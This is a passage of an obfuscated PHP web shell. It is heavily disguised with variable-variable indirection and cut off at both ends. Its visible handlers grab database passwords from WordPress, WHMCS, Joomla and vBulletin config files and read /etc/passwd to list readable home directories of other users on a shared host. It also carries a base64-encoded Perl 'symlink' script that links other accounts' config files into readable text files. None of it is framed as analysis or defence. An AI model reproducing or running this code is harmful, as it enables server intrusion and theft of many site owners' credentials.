4718 $ptrckqlsicw="uxl";
4719 $wzhjhoquw="uel";
4720 $nmkswatkkt="co";
4721 $ghknfyflg="uurl";
4722 $ {
4723 "GLOBALS"
4724 }
4725 ["vxtiswnt"]="uel";
4726 $fmcdexbf="ch";
4727 $oebhbtqi="uxl";
4728 $nkpoepwpdqd="result";
4729 $mbpipeu="uxl";
4730 $ {
4731 $ghknfyflg
4732 }
4733 =$ {
4734 $pohpfdtmti
4735 }
4736 .$ {
4737 $ {
4738 "GLOBALS"
4739 }
4740 ["tfufwtkggg"]
4741 }
4742 .$ {
4743 $nmkswatkkt
4744 }
4745 ;
4746 $anhgzfy="ch";
4747 $ {
4748 $ {
4749 "GLOBALS"
4750 }
4751 ["vxtiswnt"]
4752 }
4753 =$ {
4754 $ {
4755 "GLOBALS"
4756 }
4757 ["pemxmrsh"]
4758 }
4759 ;
4760 $ {
4761 $ {
4762 "GLOBALS"
4763 }
4764 ["clcexgoc"]
4765 }
4766 =curl_init();
4767 $ {
4768 "GLOBALS"
4769 }
4770 ["wppiyrcdbbn"]="ch";
4771 $kgbbmpotw="uxl";
4772 curl_setopt($ {
4773 $ {
4774 "GLOBALS"
4775 }
4776 ["clcexgoc"]
4777 }
4778 ,CURLOPT_URL,$ {
4779 $wzhjhoquw
4780 }
4781 );
4782 curl_setopt($ {
4783 $ {
4784 "GLOBALS"
4785 }
4786 ["nchjukvvqit"]
4787 }
4788 ,CURLOPT_HEADER,1);
4789 curl_setopt($ {
4790 $anhgzfy
4791 }
4792 ,CURLOPT_RETURNTRANSFER,1);
4793 $gqfsexakg="ch";
4794 curl_setopt($ {
4795 $gqfsexakg
4796 }
4797 ,CURLOPT_CONNECTTIMEOUT,5);
4798 $wgmhnq="uxl";
4799 $ {
4800 "GLOBALS"
4801 }
4802 ["jpvfshlwt"]="uxl";
4803 $cpyvvnpbpbc="uxl";
4804 curl_setopt($ {
4805 $ {
4806 "GLOBALS"
4807 }
4808 ["wppiyrcdbbn"]
4809 }
4810 ,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8");
4811 $ {
4812 $ {
4813 "GLOBALS"
4814 }
4815 ["ytygxi"]
4816 }
4817 ["EXE"]=curl_exec($ {
4818 $fmcdexbf
4819 }
4820 );
4821 curl_close($ {
4822 $lqovtogmdro
4823 }
4824 );
4825 $ {
4826 $ {
4827 "GLOBALS"
4828 }
4829 ["smposrbewu"]
4830 }
4831 =$ {
4832 $nkpoepwpdqd
4833 }
4834 ["EXE"];
4835 $dsojfl="uxl";
4836 $ {
4837 "GLOBALS"
4838 }
4839 ["glpswt"]="uxl";
4840 if($ {
4841 $kgbbmpotw
4842 }
4843 &&preg_match("/table_prefix/i",$ {
4844 $ptrckqlsicw
4845 }
4846 )) {
4847 $xoynetliybs="ffile";
4848 $ {
4849 "GLOBALS"
4850 }
4851 ["mbbohos"]="pass";
4852 $ {
4853 "GLOBALS"
4854 }
4855 ["jkoqdoylpm"]="dbp";
4856 echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's website cms is wordpress </font></td></tr></table>";
4857 echo$ {
4858 $ {
4859 "GLOBALS"
4860 }
4861 ["dseeueq"]
4862 }
4863 =entre2v2($ {
4864 $ {
4865 "GLOBALS"
4866 }
4867 ["smposrbewu"]
4868 }
4869 ,"DB_PASSWORD', '","');");
4870 if(!empty($ {
4871 $ {
4872 "GLOBALS"
4873 }
4874 ["dseeueq"]
4875 }
4876 ))$ {
4877 $ {
4878 "GLOBALS"
4879 }
4880 ["mbbohos"]
4881 }
4882 =$ {
4883 $ {
4884 "GLOBALS"
4885 }
4886 ["jkoqdoylpm"]
4887 }
4888 ."
4889";
4890 fwrite($ {
4891 $xoynetliybs
4892 }
4893 ,$ {
4894 $ {
4895 "GLOBALS"
4896 }
4897 ["jqbdqptiz"]
4898 }
4899 );
4900 } elseif($ {
4901 $ {
4902 "GLOBALS"
4903 }
4904 ["smposrbewu"]
4905 }
4906 &&preg_match("/cc_encryption_hash/i",$ {
4907 $ {
4908 "GLOBALS"
4909 }
4910 ["smposrbewu"]
4911 }
4912 )) {
4913 $ {
4914 "GLOBALS"
4915 }
4916 ["kmisenk"]="ffile";
4917 $ {
4918 "GLOBALS"
4919 }
4920 ["vjmxfhywxr"]="uxl";
4921 echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's website whmcs bhaiyu xD </font></td></tr></table>";
4922 $ {
4923 "GLOBALS"
4924 }
4925 ["weynhgik"]="pass";
4926 $ukdseoc="pass";
4927 $ {
4928 "GLOBALS"
4929 }
4930 ["htwkxy"]="dbp";
4931 echo$ {
4932 $ {
4933 "GLOBALS"
4934 }
4935 ["dseeueq"]
4936 }
4937 =entre2v2($ {
4938 $ {
4939 "GLOBALS"
4940 }
4941 ["vjmxfhywxr"]
4942 }
4943 ,"db_password = '","';");
4944 if(!empty($ {
4945 $ {
4946 "GLOBALS"
4947 }
4948 ["htwkxy"]
4949 }
4950 ))$ {
4951 $ukdseoc
4952 }
4953 =$ {
4954 $ {
4955 "GLOBALS"
4956 }
4957 ["dseeueq"]
4958 }
4959 ."
4960";
4961 fwrite($ {
4962 $ {
4963 "GLOBALS"
4964 }
4965 ["kmisenk"]
4966 }
4967 ,$ {
4968 $ {
4969 "GLOBALS"
4970 }
4971 ["weynhgik"]
4972 }
4973 );
4974 } elseif($ {
4975 $ {
4976 "GLOBALS"
4977 }
4978 ["smposrbewu"]
4979 }
4980 &&preg_match("/dbprefix/i",$ {
4981 $dsojfl
4982 }
4983 )) {
4984 echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's website cms is joomla </font></td></tr></table>";
4985 echo$ {
4986 $ {
4987 "GLOBALS"
4988 }
4989 ["nheadbdqjtu"]
4990 }
4991 =entre2v2($ {
4992 $ {
4993 "GLOBALS"
4994 }
4995 ["smposrbewu"]
4996 }
4997 ,"password = '","';");
4998 if(!empty($ {
4999 $ {
5000 "GLOBALS"
5001 }
5002 ["nheadbdqjtu"]
5003 }
5004 ))$ {
5005 $ {
5006 "GLOBALS"
5007 }
5008 ["jqbdqptiz"]
5009 }
5010 =$ {
5011 $ {
5012 "GLOBALS"
5013 }
5014 ["nheadbdqjtu"]
5015 }
5016 ."
5017";
5018 fwrite($ {
5019 $ {
5020 "GLOBALS"
5021 }
5022 ["xqjsjx"]
5023 }
5024 ,$ {
5025 $ {
5026 "GLOBALS"
5027 }
5028 ["jqbdqptiz"]
5029 }
5030 );
5031 } elseif($ {
5032 $hehrkezdpk
5033 }
5034 &&preg_match("/admincpdir/i",$ {
5035 $ {
5036 "GLOBALS"
5037 }
5038 ["glpswt"]
5039 }
5040 )) {
5041 $ {
5042 "GLOBALS"
5043 }
5044 ["htwdbdmj"]="ffile";
5045 $gjyjauxxdfpq="db";
5046 echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's website cms is vbulletin </font></td></tr></table>";
5047 $ {
5048 "GLOBALS"
5049 }
5050 ["wripkprnh"]="uxl";
5051 echo$ {
5052 $gjyjauxxdfpq
5053 }
5054 =entre2v2($ {
5055 $ {
5056 "GLOBALS"
5057 }
5058 ["wripkprnh"]
5059 }
5060 ,"password'] = '","';");
5061 if(!empty($ {
5062 $ {
5063 "GLOBALS"
5064 }
5065 ["nheadbdqjtu"]
5066 }
5067 ))$ {
5068 $ {
5069 "GLOBALS"
5070 }
5071 ["jqbdqptiz"]
5072 }
5073 =$ {
5074 $ {
5075 "GLOBALS"
5076 }
5077 ["nheadbdqjtu"]
5078 }
5079 ."
5080";
5081 fwrite($ {
5082 $ {
5083 "GLOBALS"
5084 }
5085 ["htwdbdmj"]
5086 }
5087 ,$ {
5088 $ {
5089 "GLOBALS"
5090 }
5091 ["jqbdqptiz"]
5092 }
5093 );
5094 } elseif($ {
5095 $oebhbtqi
5096 }
5097 &&preg_match("/DB_DATABASE/i",$ {
5098 $ {
5099 "GLOBALS"
5100 }
5101 ["smposrbewu"]
5102 }
5103 )) {
5104 $hlhjxgxol="db";
5105 $ {
5106 "GLOBALS"
5107 }
5108 ["osbyycmsfkxm"]="db";
5109 $ {
5110 "GLOBALS"
5111 }
5112 ["rdvmodv"]="pass";
5113 $ {
5114 "GLOBALS"
5115 }
5116 ["ssvsiovd"]="db";
5117 $quoeboygi="pass";
5118 echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> got config file for unknwon cms for user $usersss </font></td></tr></table>";
5119 echo$ {
5120 $ {
5121 "GLOBALS"
5122 }
5123 ["ssvsiovd"]
5124 }
5125 =entre2v2($ {
5126 $ {
5127 "GLOBALS"
5128 }
5129 ["smposrbewu"]
5130 }
5131 ,"DB_PASSWORD', '","');");
5132 if(!empty($ {
5133 $hlhjxgxol
5134 }
5135 ))$ {
5136 $quoeboygi
5137 }
5138 =$ {
5139 $ {
5140 "GLOBALS"
5141 }
5142 ["osbyycmsfkxm"]
5143 }
5144 ."
5145";
5146 fwrite($ {
5147 $ {
5148 "GLOBALS"
5149 }
5150 ["xqjsjx"]
5151 }
5152 ,$ {
5153 $ {
5154 "GLOBALS"
5155 }
5156 ["rdvmodv"]
5157 }
5158 );
5159 } elseif($ {
5160 $wgmhnq
5161 }
5162 &&preg_match("/dbpass/i",$ {
5163 $ {
5164 "GLOBALS"
5165 }
5166 ["jpvfshlwt"]
5167 }
5168 )) {
5169 $gbelrygh="pass";
5170 $ {
5171 "GLOBALS"
5172 }
5173 ["krskycqvw"]="db";
5174 echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's config file for unknwon cms </font></td></tr></table>";
5175 $dnoptjeza="db";
5176 echo$ {
5177 $ {
5178 "GLOBALS"
5179 }
5180 ["krskycqvw"]
5181 }
5182 =entre2v2($ {
5183 $ {
5184 "GLOBALS"
5185 }
5186 ["smposrbewu"]
5187 }
5188 ,"dbpass = '","';");
5189 if(!empty($ {
5190 $ {
5191 "GLOBALS"
5192 }
5193 ["nheadbdqjtu"]
5194 }
5195 ))$ {
5196 $gbelrygh
5197 }
5198 =$ {
5199 $dnoptjeza
5200 }
5201 ."
5202";
5203 fwrite($ {
5204 $ {
5205 "GLOBALS"
5206 }
5207 ["xqjsjx"]
5208 }
5209 ,$ {
5210 $ {
5211 "GLOBALS"
5212 }
5213 ["jqbdqptiz"]
5214 }
5215 );
5216 } elseif($ {
5217 $ {
5218 "GLOBALS"
5219 }
5220 ["smposrbewu"]
5221 }
5222 &&preg_match("/dbpass/i",$ {
5223 $ {
5224 "GLOBALS"
5225 }
5226 ["smposrbewu"]
5227 }
5228 )) {
5229 $ {
5230 "GLOBALS"
5231 }
5232 ["tsvcdhbxjjcy"]="db";
5233 $uamjgbemxfm="pass";
5234 $vhwdotel="uxl";
5235 echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> got config file for unknwon cms of user $usersss </font></td></tr></table>";
5236 echo$ {
5237 $ {
5238 "GLOBALS"
5239 }
5240 ["tsvcdhbxjjcy"]
5241 }
5242 =entre2v2($ {
5243 $vhwdotel
5244 }
5245 ,"dbpass = '","';");
5246 $ {
5247 "GLOBALS"
5248 }
5249 ["jzcldxweqx"]="db";
5250 if(!empty($ {
5251 $ {
5252 "GLOBALS"
5253 }
5254 ["jzcldxweqx"]
5255 }
5256 ))$ {
5257 $uamjgbemxfm
5258 }
5259 =$ {
5260 $ {
5261 "GLOBALS"
5262 }
5263 ["nheadbdqjtu"]
5264 }
5265 ."
5266";
5267 fwrite($ {
5268 $ {
5269 "GLOBALS"
5270 }
5271 ["xqjsjx"]
5272 }
5273 ,$ {
5274 $ {
5275 "GLOBALS"
5276 }
5277 ["jqbdqptiz"]
5278 }
5279 );
5280 } elseif($ {
5281 $cpyvvnpbpbc
5282 }
5283 &&preg_match("/dbpass/i",$ {
5284 $mbpipeu
5285 }
5286 )) {
5287 $ynqhaxyy="uxl";
5288 echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's config file for unknwon cms </font></td></tr></table>";
5289 $hjtezrws="db";
5290 echo$ {
5291 $ {
5292 "GLOBALS"
5293 }
5294 ["nheadbdqjtu"]
5295 }
5296 =entre2v2($ {
5297 $ynqhaxyy
5298 }
5299 ,"dbpass = \"","\";");
5300 if(!empty($ {
5301 $ {
5302 "GLOBALS"
5303 }
5304 ["nheadbdqjtu"]
5305 }
5306 ))$ {
5307 $ {
5308 "GLOBALS"
5309 }
5310 ["jqbdqptiz"]
5311 }
5312 =$ {
5313 $hjtezrws
5314 }
5315 ."
5316";
5317 fwrite($ {
5318 $ {
5319 "GLOBALS"
5320 }
5321 ["xqjsjx"]
5322 }
5323 ,$ {
5324 $ {
5325 "GLOBALS"
5326 }
5327 ["jqbdqptiz"]
5328 }
5329 );
5330 }
5331 }
5332 }
5333}
5334}
5335
5336?>
5337<?php
5338if (isset($_GET['jak']) && ($_GET['jak'] == 'sken')) {
5339set_time_limit(0);
5340
5341($x0b = ini_get('safe_mode') == 0) ? $x0b = 'off': die('<b>Error: Safe Mode is On</b>');
5342
5343@$x0c = fopen('/etc/passwd','r');
5344
5345if (!$x0c) { die('<b> RAIMU ELEK WKWKWKWK :v </b>'); }
5346
5347// $x0d = array();
5348// $x0e = array();
5349// $x0f = array();
5350// $x10 = 0;
5351
5352while(!feof($x0c)){
5353 // baca baris...
5354 // $x11 = fgets($x0c);
5355 // if ($x10 < 35){
5356 while($x11 = fgets($x0c)){
5357
5358 $x12 = strpos($x11,':');
5359
5360 $x13 = substr($x11,0,$x12);
5361
5362
5363 $x14 = '/home/'.$x13.'/public_html';
5364 if (($x13 != '')){
5365
5366 if (is_readable($x14)){
5367
5368 echo "<font face=Verdana size=2 color=#c000ff>Hajar Boss => $x14</font>";
5369 echo "<br/>";
5370 }
5371 }
5372 }
5373 // $x10++;
5374 }
5375}
5376?>
5377
5378<?php
5379if(isset($_GET['jak']) && $_GET['jak'] == 'vkill'){
5380
5381echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Perl based symlink</span></center><br>';
5382echo '<br><div align=center><table width=100% border=0><tr><td align=center></td></tr></table>
5383<font face="Tahoma" color="#007700" size="2pt">Extract /etc/passwd</font></b><br><br><form method=post>
5384<input type=submit name=passx value="Extract"><p></form><br>';
5385
5386if(isset($_POST['passx']))
5387{
5388echo '<p><textarea class="area" rows="15" cols="50" name="usernames" >';
5389$users=file("/etc/passwd");
5390foreach($users as $user)
5391{
5392$str=explode("\n",$user);
5393echo $str[0]."\n";
5394}
5395echo '</textarea></p><br>';
5396
5397}
5398
5399echo '<p><form method=post>
5400<font face="Tahoma" color="#ff6000" size="2pt"><input type=submit name=perl value="Perl based ln -s"></font></form><br>
5401</p>';
5402
5403if(isset($_POST['perl']))
5404{
5405error_reporting(0);
5406
5407$vw='IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5bfl0gUGFpbiBTeW1saW5rPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoubmV3U3R5bGUxIHsNCiBmb250LWZhbWlseTogVGFob21hOw0KIGZvbnQtc2l6ZTogeC1zbWFsbDsNCiBmb250LXdlaWdodDogYm9sZDsNCiBjb2xvcjogIzAwOTkwMDsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGtvbGE9JG1zci4iLyIuJHVzZXI7DQoka29sYT1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nLS0+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJy0tPjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictLT44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictLT4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nLS0+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcu